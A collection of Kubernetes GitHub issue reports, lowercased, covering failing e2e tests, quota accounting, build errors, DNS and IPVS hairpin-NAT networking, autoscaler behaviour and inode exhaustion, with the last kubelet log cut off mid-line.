this is an umbrella issue for tracking currently failing e2e tests on large clusters:\r \r -  sig-instrumentation  cluster level logging implemented by stackdriver should ingest system logs from all nodes  https://github.com/kubernetes/kubernetes/issues/51700 \r -  sig-instrumentation  monitoring should verify monitoring pods and all cluster nodes are available on influxdb using heapster  https://github.com/kubernetes/kubernetes/issues/51702 \r -  sig-network  firewall rule should have correct firewall rules for e2e cluster  should be fixed by https://github.com/kubernetes/kubernetes/pull/51343 \r -  sig-network  services should be able to create an internal type load balancer  slow   https://github.com/kubernetes/kubernetes/issues/51714 \r -  sig-storage  volume plugin streaming  slow  nfs should write files of various sizes, verify size, validate content  https://github.com/kubernetes/kubernetes/issues/51717 \r \r cc @kubernetes/sig-scalability-misc @wojtek-t @gmarek @spiffxp

the quota is charged when an object is created, no matter if it's initialized or not. it has two problems:\r \r   the quota replenish controller doesn't list/watch uninitialized objects, so it misses the deletion of uninitialized objects and leaks quota.\r \r   the quota controller does periodic resync to recalculate the quota usage. it doesn't see the uninitialized objects, and will wrongly replenish the quota for yet-to-initialize objects.\r \r https://github.com/kubernetes/kubernetes/pull/51749 makes most quota to be charged after the objects are initialized. but the object count quota is still  and ought to be  charged when an object is created, so it still suffers the above problems.

 \r build fails on the es-image dependecy with the makefile:\r https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch/es-image/makefile\r \r   what happened  :\r    \r   first run 'go get -d -v .'\r $ make binary\r cgo_enabled=0 goos=linux go build -a -ldflags \ -w\  elasticsearch_logging_discovery.go\r   command-line-arguments\r ./elasticsearch_logging_discovery.go:70:39: cannot use cc  type  \ k8s.io/client-go/rest\ .config  as type  \ k8s.io/kubernetes/vendor/k8s.io/client-go/rest\ .config in argument to internalclientset.newforconfig\r ./elasticsearch_logging_discovery.go:78:78: cannot use \ k8s.io/apimachinery/pkg/apis/meta/v1\ .getoptions literal  type \ k8s.io/apimachinery/pkg/apis/meta/v1\ .getoptions  as type \ k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1\ .getoptions in argument to client.core  .namespaces  .get\r ./elasticsearch_logging_discovery.go:93:92: cannot use \ k8s.io/apimachinery/pkg/apis/meta/v1\ .getoptions literal  type \ k8s.io/apimachinery/pkg/apis/meta/v1\ .getoptions  as type \ k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1\ .getoptions in argument to client.core  .services namespace .get\r ./elasticsearch_logging_discovery.go:110:89: cannot use \ k8s.io/apimachinery/pkg/apis/meta/v1\ .getoptions literal  type \ k8s.io/apimachinery/pkg/apis/meta/v1\ .getoptions  as type \ k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1\ .getoptions in argument to client.core  .endpoints namespace .get\r makefile:29: recipe for target 'binary' failed\r make:      binary  error 2\r    \r \r   what you expected to happen  :\r binary to be built with no errors.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r cd cluster/addons/fluentd-elasticsearch/es-image\r make binary\r    perhaps before make, do a \ export gopath=/tmp\  then \ go get -d .\    \r    \r \r   environment  :\r master branch head  ff46c0fe6b774792b2cf1aae6a794d46ad422b4c \r go version go1.11 linux/amd64\r

my pod namespace is kube-test，but the service name is this default\r    \r  root@kube01 iyunv   kubectl get pods -n kube-test\r name                                              ready     status    restarts   age\r business-org-deployment-c84b7d9f6-55vpl           1/1       running   0          21h\r \r    \r use defaulc to parse （ business-org.default.svc.cluster.local）\r    \r  root@kube01 iyunv   kubectl exec business-org-deployment-c84b7d9f6-55vpl -n kube-apabi -it /bin/bash\r  root@business-org-deployment-c84b7d9f6-55vpl /   ping business-org.default.svc.cluster.local\r ping business-org.default.svc.cluster.local  10.254.56.71  56 84  bytes of data.\r 64 bytes from business-org.default.svc.cluster.local  10.254.56.71 : icmp_seq=1 ttl=64 time=0.052 ms\r 64 bytes from business-org.default.svc.cluster.local  10.254.56.71 : icmp_seq=2 ttl=64 time=0.047 ms\r 64 bytes from business-org.default.svc.cluster.local  10.254.56.71 : icmp_seq=3 ttl=64 time=0.049 ms\r 64 bytes from business-org.default.svc.cluster.local  10.254.56.71 : icmp_seq=4 ttl=64 time=0.053 ms\r    \r cannot be parsed using kube-test（business-org.kube-test.svc.cluster.local）\r    \r  root@business-org-deployment-c84b7d9f6-55vpl /   ping business-org.kube-test.svc.cluster.local\r ping: business-org.kube-test.svc.cluster.local: name or service not known\r    \r \r cat business-org.yaml \r    \r apiversion: v1\r kind: service\r metadata:\r   labels:\r     app: business-org\r   name: business-org\r spec:\r   ports:\r   - port: 9051\r     protocol: tcp\r     targetport: 9051\r   selector:\r     app: business-org\r   type: clusterip\r ---\r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: business-org-deployment\r   namespace: kube-test\r spec:\r   replicas: 1\r   template: \r     metadata:\r       labels:\r         app: business-org\r     spec:\r       containers:\r       - name: business-org\r         image: harbor.test.com/test/business-org:201810251757_11f8bd9\r         ports:\r         - containerport: 9051\r    \r / sig network \r / sig node

i modified the pod json from here https://github.com/googlecloudplatform/kubernetes/blob/master/docs/getting-started-guides/aws-coreos.md to have this in it:        \ containers\ :  {     \ name\ : \ hello\ ,     \ env\ :               {               \ name\ : 'oms.port',               \ value\ : 9000,             } ,     \ image\ : \ quay.io/kelseyhightower/hello\ ,     \ ports\ :  {       \ containerport\ : 80,       \ hostport\ : 80     }    }       and when i do kubecfg -c pod.json create pods, i get       f1202 08:48:01.907263 04825 kubecfg.go:403  got request error: pod \ hello\  is invalid: desiredstate.manifest.containers 0 .env 0 .name: invalid value 'oms.port'      i am using kubernetes 0.5.4

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-ingress/1551/  run so broken it didn't make junit output!

my command is below: kubectl exec -it c-engine-1613829755-v2bov -- nohup sh /home/webadmin/shell/deploy.sh 01 \  common_rest common_dubbo commerce_rest commerce_dubbo\  >/dev/null 2>&1 &  when i press the enter key, & disappeared, the nohup command stopped and display error, how should i write to make it successful?  > > >  root@szxts10004464 logs   kubectl exec -it c-service--4-2005015123-c8vsz -- nohup sh /home/webadmin/shell/deploy.sh 01 \  common_rest common_dubbo commerce_rest commerce_dubbo\   >/dev/null 2>&1   &   > > >  1  63616 > > >  root@szxts10004464 logs    > > >  > > >  1 +  stopped                 kubectl exec -it c-service--4-2005015123-c8vsz -- nohup sh /home/webadmin/shell/deploy.sh 01 \  common_rest common_dubbo commerce_rest commerce_dubbo\  > /dev/null 2>&1 > > >  root@szxts10004464 logs    > > >  root@szxts10004464 logs    > > >  root@szxts10004464 logs   docker --version > > > docker version 1.12.1, build 23cf638 > > >  root@szxts10004464 logs

failure cluster  ac251c8c201b5a9a0dc3  https://go.k8s.io/triage ac251c8c201b5a9a0dc3        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ slow\\  --ginkgo.skip=\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\ : exit status 1           failure cluster statistics: 1 tests failed,    10 jobs failed,    97 builds failed. failure stats cover 1 day time range '25 may 2017 13:03 utc' to '26 may 2017 13:03 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 10 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-slow | 20 |  26 may 2017 11:57 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-slow/5893  | | ci-kubernetes-e2e-gci-gke-slow | 18 |  26 may 2017 09:06 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/6423  | | ci-kubernetes-e2e-gce-gci-qa-slow-m57 | 16 |  26 may 2017 10:47 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-qa-slow-m57/4492  |   current status  https://go.k8s.io/triage ac251c8c201b5a9a0dc3

with 1.7 we have the apiextensions apiserver integrated into kube-apiserver and customrresourcedefinitions are the official successor of thirdpartyresources. to allow people to use them, we have to offer consumable api types and a consumable client.\r \r   problem:   right now  k8s.io/kube-apiextensions-server  only lives in staging. we do not sync it into its own repo on github. people have to vendor the whole kube to get access to it.\r \r possible solutions:\r \r 1. we add  k8s.io/kube-apiextensions-server  to the sync bot and make that the package to import for thirdparty users\r 2. or we move the crd types into  k8s.io/api  after this change is finished after the 1.7 freeze and then create an authorative client in client-go.\r \r as a direct follow-up i would like to see a ported thirdpartyresource->customresourcedefinition example in client-go for 1.7. option  1  makes this impossible without cyclic repo imports  not package imports! technically on the go level it's not an issue . with  1  we then should better get rid of the tpr example in client-go and only put a pointer readme.md telling that the example lives in  k8s.io/kube-apiextensions-server  now. for those reasons, i think  2  is the better way. at the end,  k8s.io/kube-apiextensions-server  is only an implementation detail. for the user crds are offered by the kube-apiserver.\r \r xref: https://github.com/kubernetes/features/issues/95\r \r todo:\r -  x  get https://github.com/kubernetes/kubernetes/pull/46775 merge to rename to k8s.io/apiextensions-apiserver\r -  x  add k8s.io/apiextensions-apiserver to the repo sync bot https://github.com/kubernetes/test-infra/pull/2978\r -  x  create k8s.io/apiextensions-apiserver\r -  x  add crd client-go example: https://github.com/kubernetes/kubernetes/pull/47050\r -  x  add k8s.io/apiextensions-apiserver to k8s.io golang metadata https://github.com/kubernetes/k8s.io/pull/61

we made a very simple node js rest api for testing / benchmarking the loadbalancer.\r when it receives a request, it waits one second, then sends a response containing the network interfaces of the host  so you can see from which cluster node the response came from .\r every requests is handled completely synchronously after another, so a queue will be formed.\r \r according to the documentation, the loadbalancer chooses pods to send the request to  round-robin  style. but this does not seem to be the case. as the performance does not seem to be scaling linear at all.\r \r   what happened  :\r when the deployment was scaled to 1: it was able to process 1 request / second.\r when the deployment was scaled to 2: it is able to process 2 requests / second.\r when the deployment was scaled to 7: it is able to process 3-5 requests / second.\r when the deployment was scaled to 10: it is able to process 3-6 requests / second.\r when the deployment was scaled to 20: it is able to process 5-7 requests / second.\r \r   what you expected to happen  :\r when the deployment was scaled to 1: i expected it to be able to process around 1 request / second.\r when the deployment was scaled to 2: i expected it to be able to process around 2 requests / second.\r when the deployment was scaled to 7: i expected it to be able to process around 7 requests / second.\r when the deployment was scaled to 10: i expected it to be able to process around 10 requests / second.\r when the deployment was scaled to 20:  i expected it to be able to process around 20 requests / second.\r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy your own pods via with hetkoekje/loadbalance_benchmarker as image and expose port 3001 with a service. you can also use these pre-made yamls:  benchmarker-yamls.zip  https://github.com/kubernetes/kubernetes/files/1162498/benchmarker-yamls.zip \r \r run the tests using:\r  ab -n 10 -c 10 http://<service-ip>/hello \r or variants of this command.\r \r   anything else we need to know?  :\r docker image used: hetkoekje/loadbalance_benchmarker/  https://hub.docker.com/r/hetkoekje/loadbalance_benchmarker/ \r image exposes an endpoint at  /hello \r \r i used the 'ab' cli command from apache with commands like:\r  ab -n 10 -c 10 http://<service-ip>/hello \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r   google cloud    container clusters \r 10 nodes\r \r

in a large scale production cluster, control loops can make dozens of requests per second. many of those control loops authenticate with token-based credentials which are revalidated on every request. caching successful token validation results for a few seconds greatly reduces the impact of high-volume clients without affecting the ability to rapidly detect a token revocation.

is this a bug report or feature request?  :\r  \r   what happened  :\r autoscaler scales down below minreplicas\r \r   what you expected to happen  :\r autoscaler should not scale down below minreplicas\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a deployment with a fake pod which does not really use cpu\r create a hpa whit following parameters:\r - metrics:\t\t\t\t\t\t  current / target  \r   resource cpu on pods   as a percentage of request :\t0%  0  / 80%\r - min replicas:\t\t\t\t\t\t2\r - max replicas:\t\t\t\t\t\t5\r \r   anything else we need to know?  :\r https://github.com/kubernetes/kubernetes/blob/release-1.7/pkg/controller/podautoscaler/horizontal.go\r does not have a check to prevent downscaling below minreplicas.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.0\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : debian jessie\r - kernel  e.g.  uname -a  : linux ip-10-1-41-75 4.4.65-k8s  1 smp tue may 2 15:48:24 utc 2017 x86_64 gnu/linux\r - install tools: kops\r - others:\r

since we store both pod data  rc, services, events etcd  and node ip/hostnames in the same etcd instance, sysadmins might go blind because of too many user pods. i feel like hand reviving a cluster should never be necessary, but it's a safety net that people would like to have. hand revivial might look something like: - log into the master and try to bring etcd back up manually - if etcd is completely down, try to figure out which nodes are healthy - route new requests to a cluster bootstrapped with healthy nodes  this is currently very difficult because kubectl won't work, and without kubectl the sysadmin is essentially blind.       $ ./cluster/kubectl.sh get nodes current-context: \ beeps-cluster\  f0309 18:43:01.495362   11274 get.go:173  501: all the given peers are not reachable  tried to connect to each peer twice and failed   0       the kubelets on the nodes are running and capable of reporting health status, and the apiserver is up, so it would be nice if we had a fallback.   iiuc nodecache is now backed by etcd, so that won't work, but we might be able to get the  stale  list of nodes from the cache and ping their kubelets, or record the node hostnames to file, or something.

\r   is this a bug report or feature request?  :\r   \r   what happened  :\r i have enabled ipvs on kube 1.8 and try to check network traffic\r and i find with ipvs mode, pod cannot visit itself via service,\r but if i use iptables mode, hairpin nat works\r \r   what you expected to happen  :\r pod should visit itself via service\r \r   how to reproduce it  as minimally and precisely as possible   :\r  \r 0. environment:\r    \r kubectl get nodes\r name             status    age       version\r ubuntu-client1   ready     1d        v1.8.0\r ubuntu-client2   ready     1d        v1.8.0\r ubuntu-master    ready     1d        v1.8.0\r    \r \r 1. enable ipvs mode in kube-proxy:\r    \r   - command:\r         - /usr/local/bin/kube-proxy\r         - --kubeconfig=/var/lib/kube-proxy/kubeconfig.conf\r         - --cluster-cidr=10.244.0.0/16\r         - --feature-gates=supportipvsproxymode=true\r         - --proxy-mode=ipvs\r         - --ipvs-min-sync-period=5s\r         - --ipvs-sync-period=5m\r         - --ipvs-scheduler=rr\r         - --logtostderr=true\r         - --v=4\r    \r 2. create service with one pod, container image is based on memcached\r    \r kubectl get pods -o wide\r name                            ready     status    restarts   age       ip             node\r traffic-test-6677f7c5f7-mf7kl   1/1       running   0          2h        10.244.2.108   ubuntu-client2\r \r kubectl describe svc/traffic-test\r name:\t\t\ttraffic-test\r namespace:\t\tdefault\r labels:\t\t\trun=traffic-test\r annotations:\t\t<none>\r selector:\t\trun=traffic-test\r type:\t\t\tclusterip\r ip:\t\t\t10.105.24.130\r port:\t\t\t<unset>\t11211/tcp\r endpoints:\t\t10.244.2.108:11211\r session affinity:\tnone\r events:\t\t\t<none>\r    \r \r 3. check hairpin nat\r    \r kubectl exec -it traffic-test-6677f7c5f7-mf7kl /bin/bash\r    \r i use a simple script to test tcp traffic:\r    \r bash-4.3  cat check.sh\r  !/bin/bash\r \r echo > /dev/tcp/$1/11211\r \r if   \ $?\  == \ 0\   ;then\r   echo \ check_pass\ \r   exit 0\r else\r   echo \ check_fail\ \r   exit 1\r fi\r    \r    \r bash-4.3  ./check.sh 10.105.24.130\r ./check.sh: connect: operation timed out\r ./check.sh: line 3: /dev/tcp/10.105.24.130/11211: operation timed out\r check_fail\r    \r 4.\r if i use iptables, set kube-proxy parameter as:\r    \r   - command:\r         - /usr/local/bin/kube-proxy\r         - --kubeconfig=/var/lib/kube-proxy/kubeconfig.conf\r         - --cluster-cidr=10.244.0.0/16\r    \r hairpin nat works:\r    \r kubectl exec -it traffic-test-6677f7c5f7-mf7kl /bin/bash\r bash-4.3   ./check.sh 10.105.24.130\r check_pass\r    \r \r   anything else we need to know?  :\r some logs maybe useful:\r \r 1. ipvs rules:\r    \r root@ubuntu-client2:/  ipvsadm -ln\r ip virtual server version 1.2.1  size=4096 \r prot localaddress:port scheduler flags\r   -> remoteaddress:port           forward weight activeconn inactconn\r tcp  10.96.0.1:443 rr persistent 10800\r   -> 10.19.138.96:6443            masq    1      0          0         \r tcp  10.96.0.10:53 rr\r   -> 10.244.0.19:53               masq    1      0          0         \r tcp  10.105.24.130:11211 rr\r   -> 10.244.2.108:11211           masq    1      0          0         \r udp  10.96.0.10:53 rr\r   -> 10.244.0.19:53               masq    1      0          0 \r    \r \r 2. iptable masq rules:\r    \r root@ubuntu-client2:/  iptables -s -t nat\r -p prerouting accept\r -p input accept\r -p output accept\r -p postrouting accept\r -n docker\r -n kube-mark-drop\r -n kube-mark-masq\r -n kube-postrouting\r -n kube-services\r -a prerouting -m comment --comment \ kubernetes service portals\  -j kube-services\r -a prerouting -m addrtype --dst-type local -j docker\r -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r -a output ! -d 127.0.0.0/8 -m addrtype --dst-type local -j docker\r -a postrouting -m comment --comment \ kubernetes postrouting rules\  -j kube-postrouting\r -a postrouting -s 172.17.0.0/16 ! -o docker0 -j masquerade\r -a postrouting -s 10.244.0.0/16 -d 10.244.0.0/16 -j return\r -a postrouting -s 10.244.0.0/16 ! -d 224.0.0.0/4 -j masquerade\r -a postrouting ! -s 10.244.0.0/16 -d 10.244.2.0/24 -j return\r -a postrouting ! -s 10.244.0.0/16 -d 10.244.0.0/16 -j masquerade\r -a docker -i docker0 -j return\r -a kube-mark-drop -j mark --set-xmark 0x8000/0x8000\r -a kube-mark-masq -j mark --set-xmark 0x4000/0x4000\r -a kube-postrouting -m comment --comment \ kubernetes service traffic requiring snat\  -m mark --mark 0x4000/0x4000 -j masquerade\r -a kube-services ! -s 10.244.0.0/16 -d 10.96.0.1/32 -p tcp -m comment --comment \ default/kubernetes:https cluster ip\  -m tcp --dport 443 -j kube-mark-masq\r -a kube-services ! -s 10.244.0.0/16 -d 10.96.0.10/32 -p udp -m comment --comment \ kube-system/kube-dns:dns cluster ip\  -m udp --dport 53 -j kube-mark-masq\r -a kube-services ! -s 10.244.0.0/16 -d 10.96.0.10/32 -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp cluster ip\  -m tcp --dport 53 -j kube-mark-masq\r -a kube-services ! -s 10.244.0.0/16 -d 10.105.24.130/32 -p tcp -m comment --comment \ default/traffic-test: cluster ip\  -m tcp --dport 11211 -j kube-mark-masq\r \r    \r \r 3.  ip address\r    \r root@ubuntu-client2:/  ip address\r 1: lo: <loopback,up,lower_up> mtu 65536 qdisc noqueue state unknown group default qlen 1\r     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\r     inet 127.0.0.1/8 scope host lo\r        valid_lft forever preferred_lft forever\r     inet6 ::1/128 scope host \r        valid_lft forever preferred_lft forever\r 2: enp0s3: <broadcast,multicast,up,lower_up> mtu 1500 qdisc pfifo_fast state up group default qlen 1000\r     link/ether 08:00:27:be:49:79 brd ff:ff:ff:ff:ff:ff\r     inet 10.19.138.90/24 brd 10.19.138.255 scope global enp0s3\r        valid_lft forever preferred_lft forever\r     inet6 fe80::a00:27ff:febe:4979/64 scope link \r        valid_lft forever preferred_lft forever\r 3: docker0: <no-carrier,broadcast,multicast,up> mtu 1500 qdisc noqueue state down group default \r     link/ether 02:42:fa:41:20:51 brd ff:ff:ff:ff:ff:ff\r     inet 172.17.0.1/16 scope global docker0\r        valid_lft forever preferred_lft forever\r 4: flannel.1: <broadcast,multicast,up,lower_up> mtu 1450 qdisc noqueue state unknown group default \r     link/ether 1e:6b:67:89:8e:3f brd ff:ff:ff:ff:ff:ff\r     inet 10.244.2.0/32 scope global flannel.1\r        valid_lft forever preferred_lft forever\r 5: dummy0: <broadcast,noarp> mtu 1500 qdisc noop state down group default qlen 1000\r     link/ether fa:4a:06:3b:85:53 brd ff:ff:ff:ff:ff:ff\r 7: cni0: <broadcast,multicast,up,lower_up> mtu 1450 qdisc noqueue state up group default qlen 1000\r     link/ether 0a:58:0a:f4:02:01 brd ff:ff:ff:ff:ff:ff\r     inet 10.244.2.1/24 scope global cni0\r        valid_lft forever preferred_lft forever\r     inet6 fe80::5840:cff:fe22:e14b/64 scope link \r        valid_lft forever preferred_lft forever\r 11: kube-ipvs0: <broadcast,noarp> mtu 1500 qdisc noop state down group default qlen 1000\r     link/ether b6:5e:99:74:7a:f9 brd ff:ff:ff:ff:ff:ff\r     inet 10.96.0.10/32 scope global kube-ipvs0\r        valid_lft forever preferred_lft forever\r     inet 10.105.24.130/32 scope global kube-ipvs0\r        valid_lft forever preferred_lft forever\r     inet 10.96.0.1/32 scope global kube-ipvs0\r        valid_lft forever preferred_lft forever\r 12: veth43070a1e@if3: <broadcast,multicast,up,lower_up> mtu 1450 qdisc noqueue master cni0 state up group default \r     link/ether 3a:78:3c:89:28:43 brd ff:ff:ff:ff:ff:ff link-netnsid 0\r     inet6 fe80::3878:3cff:fe89:2843/64 scope link \r        valid_lft forever preferred_lft forever\r \r    \r \r 4. haripin is enabled on veth interface:\r    \r root@ubuntu-client2:/  for intf in /sys/devices/virtual/net/cni0/brif/ ; do cat $intf/hairpin_mode; done\r 1\r \r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8\r - flannel version: flannel:v0.8.0-amd64\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  : linux ubuntu-master 4.4.0-62-generic\r - install tools:\r - others:\r

 \r   what happened  :\r \r docker inode usage is very high. all mount points are never unmount  like after deploy \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i have set cluster up and just used gitlab ci to deploy application.\r \r   anything else we need to know?  :\r \r df -i looks like\r \r    \r /dev/sda1        1280000         46165   1233835             4% /\r devtmpfs          470618           335    470283             1% /dev\r tmpfs             472966             1    472965             1% /dev/shm\r tmpfs             472966           599    472367             1% /run\r tmpfs             472966            16    472950             1% /sys/fs/cgroup\r /dev/sdb         2621440       2379976    241464            91% /mnt/docker\r overlay          2621440       2379976    241464            91% /mnt/docker/overlay/4ad1a7967dde76fbc75b0d037ac18ea8a581c42f45ab82553fe9b98a7b62b1ff/merged\r shm               472966             1    472965             1% /mnt/docker/containers/c1139d8d50c67e279eb7fe7a6eac74596e85f1faf6ae792921969ea1ad4b440e/shm\r overlay          2621440       2379976    241464            91% /mnt/docker/overlay/dab6ed1f44256c9d8755a7668650b27ac5b83494276000faf51a9b3333fe7f37/merged\r overlay          2621440       2379976    241464            91% /mnt/docker/overlay/f5d5ec321c6a62547a81ca8f9ff439e9055785e2c1d54925ca1765c3b6d72653/merged\r shm               472966             1    472965             1% /mnt/docker/containers/8a0d1c78e9916547f75c3c62183cb15e01685bcca94c0621874bcb8c8c75703e/shm\r overlay          2621440       2379976    241464            91% /mnt/docker/overlay/24f19425f5e349e531687558606db9b423612f13deeef951b2e0b6f8639b07a0/merged\r tmpfs             472966             9    472957             1% /var/lib/kubelet/pods/6eb1c1b5-af63-11e7-ae40-fa163efa8f93/volumes/kubernetes.io~secret/default-token-crdxn\r overlay          2621440       2379976    241464            91% /mnt/docker/overlay/8c24f1e0ae13e2cfdc8ff5f4f1dce6f77ecc3ef6c5ed4f6fba5b502c0ccb1bea/merged\r shm               472966             1    472965             1% /mnt/docker/containers/fd2fae0807e6db1f711b8f5642e3be5b13a474ae929e4310730c3a1a30ed5402/shm\r overlay          2621440       2379976    241464            91% /mnt/docker/overlay/3cd810df1514a5b1ea64c81d5b3393f5e26c73c1cd74fad061dc4300ab920131/merged\r overlay          2621440       2379976    241464            91% /mnt/docker/overlay/aeafb804e76155b18eb9d0b9e7eb5a969671a3be4ae20bc1f2860aa9e2b531bf/merged\r tmpfs             472966             9    472957             1% /var/lib/kubelet/pods/8652c3d5-af63-11e7-ae40-fa163efa8f93/volumes/kubernetes.io~secret/default-token-crdxn\r overlay          2621440       2379976    241464            91% /mnt/docker/overlay/9f907f521e77c4205fad364225ea85158d7627c7c1d5e4f966c1299963cb293d/merged\r shm               472966             1    472965             1% /mnt/docker/containers/e8f92fa84d61f93a253d0b931184f072021d9910e4480203fb7df23147942d28/shm\r overlay          2621440       2379976    241464            91% /mnt/docker/overlay/937fb1293cb11edf4047d180eef09210f4cd564f152bc57430bd1c0a116cd1ce/merged\r overlay          2621440       2379976    241464            91% /mnt/docker/overlay/8bd20fed3422cec419a7fcfc95e414710095e1474562d225ee87c5eb291c649a/merged\r overlay          2621440       2379976    241464            91% /mnt/docker/overlay/cc50c7d4533de1add7a4accf51cfd5d3148efbe212a9b7216c9d37bf7991d215/merged\r tmpfs             472966             9    472957             1% /var/lib/kubelet/pods/5325442b-afdf-11e7-ae40-fa163efa8f93/volumes/kubernetes.io~secret/default-token-z7vj6\r overlay          2621440       2379976    241464            91% /mnt/docker/overlay/b3c47afeb0d56ca3cbfbb04948f5c704ccb12e07ca16ebd2d558ae1348e6ee3b/merged\r shm               472966             1    472965             1% /mnt/docker/containers/88e4c6a00385b119b43fdda82d686510326b11f695407d63adbcd7a101a7121a/shm\r overlay          2621440       2379976    241464            91% /mnt/docker/overlay/d506e70062364a3cc3724479f927314d9d84c1f441cef4e3d2213b4661cdb37c/merged\r tmpfs             472966             1    472965             1% /run/user/0\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4+coreos.0\ , gitcommit:\ 4bb697e04f7c356347aee6ffaa91640b428976d5\ , gittreestate:\ clean\ , builddate:\ 2017-08-22t08:43:47z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4+coreos.0\ , gitcommit:\ 4bb697e04f7c356347aee6ffaa91640b428976d5\ , gittreestate:\ clean\ , builddate:\ 2017-08-22t08:43:47z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r - cloud provider or hardware configuration  \r \r  openstack \r \r - os  e.g. from /etc/os-release :\r \r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r \r - kernel  e.g.  uname -a  :\r \r  linux kube-node-4 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r \r - install tools:\r \r  kubespray \r \r

https://github.com/kubernetes/kubernetes/blob/4bc9e94feec17d1980e733a08699255482d15f4e/test/e2e/kubectl/kubectl.go l461\r \r trimleft returns a slice of the string s with all leading unicode code points contained in cutset removed.\r to remove a prefix, use trimprefix instead.\r \r  

we have 1 master and 1 worker node.\r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r --------------------------------------------\r kubeadm version: &version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ ,\r ---------------------------------------------------------------------------------\r docker version\r client:\r  version:      17.03.2-ce\r  api version:  1.27\r  go version:   go1.6.2\r  git commit:   f5ec1e2\r  built:        thu jul  5 23:07:48 2018\r  os/arch:      linux/amd64\r \r server:\r  version:      17.03.2-ce\r  api version:  1.27  minimum version 1.12 \r  go version:   go1.6.2\r  git commit:   f5ec1e2\r  built:        thu jul  5 23:07:48 2018\r  os/arch:      linux/amd64\r  experimental: false\r \r ------------------------------------------------------------------------------ \r below are logs from master and worker.\r \r master node logs: \r nov 27 12:32:19 testing kubelet 24591 : w1127 12:32:19.208696   24591 cni.go:293  cni failed to retrieve network namespace path: cannot find network namespace for the t\r nov 27 12:32:19 testing kubelet 24591 : w1127 12:32:19.206761   24591 pod_container_deletor.go:75  container \ 9370575f67db6a3fa95a73eed2eae0387290c4623bdc9b5dad55122298\r nov 27 12:32:19 testing kubelet 24591 : w1127 12:32:19.172445   24591 docker_sandbox.go:375  failed to read pod ip from plugin/docker: networkplugin cni failed on the s\r nov 27 12:32:19 testing kubelet 24591 : w1127 12:32:19.161208   24591 cni.go:293  cni failed to retrieve network namespace path: cannot find network namespace for the t\r nov 27 12:32:19 testing kubelet 24591 : w1127 12:32:19.144750   24591 pod_container_deletor.go:75  container \ f46e7aa98b5ccc0cf5e72720f35518493afe5d3cb73795618f165f39a4\r nov 27 12:32:19 testing kubelet 24591 : w1127 12:32:19.117088   24591 docker_sandbox.go:375  failed to read pod ip from plugin/docker: networkplugin cni failed on the s\r nov 27 12:32:19 testing kubelet 24591 : e1127 12:32:19.102436   24591 pod_workers.go:186  error syncing pod 383946b0-f211-11e8-9b47-026e4269e78c  \ coredns-576cbf47c7-tk\r nov 27 12:32:19 testing kubelet 24591 : e1127 12:32:19.102214   24591 kuberuntime_manager.go:657  createpodsandbox for pod \ coredns-576cbf47c7-tkhpw_kube-system 383946b\r nov 27 12:32:19 testing kubelet 24591 : e1127 12:32:19.102199   24591 kuberuntime_sandbox.go:65  createpodsandbox for pod \ coredns-576cbf47c7-tkhpw_kube-system 383946b0\r nov 27 